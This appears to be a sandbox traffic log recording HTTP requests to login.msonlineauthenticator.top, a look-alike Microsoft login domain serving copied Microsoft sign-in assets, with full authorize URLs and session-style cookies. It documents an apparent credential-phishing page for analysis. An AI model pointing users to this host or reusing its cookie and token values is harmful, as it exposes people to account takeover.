https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90/697e47d51e6d8cca3cc04e14861a6d8f24131fd2a0218661bca3b5c9569e9cd3.js HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwBwlWb56u8Ae7AAQAAAJu5194OAAAA
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90.js HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwBwlWb56u8Ae7AAQAAAJu5194OAAAA
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.msonlineauthenticator.topsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.msonlineauthenticator.topsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.msonlineauthenticator.topsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90/697e47d51e6d8cca3cc04e14861a6d8f24131fd2a0218661bca3b5c9569e9cd3.js HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwBwlWb56u8Ae7AAQAAAJu5194OAAAA
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90.js HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwBwlWb56u8Ae7AAQAAAJu5194OAAAA
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90 HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwBwlWb56u8Ae7AAQAAAJu5194OAAAA
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
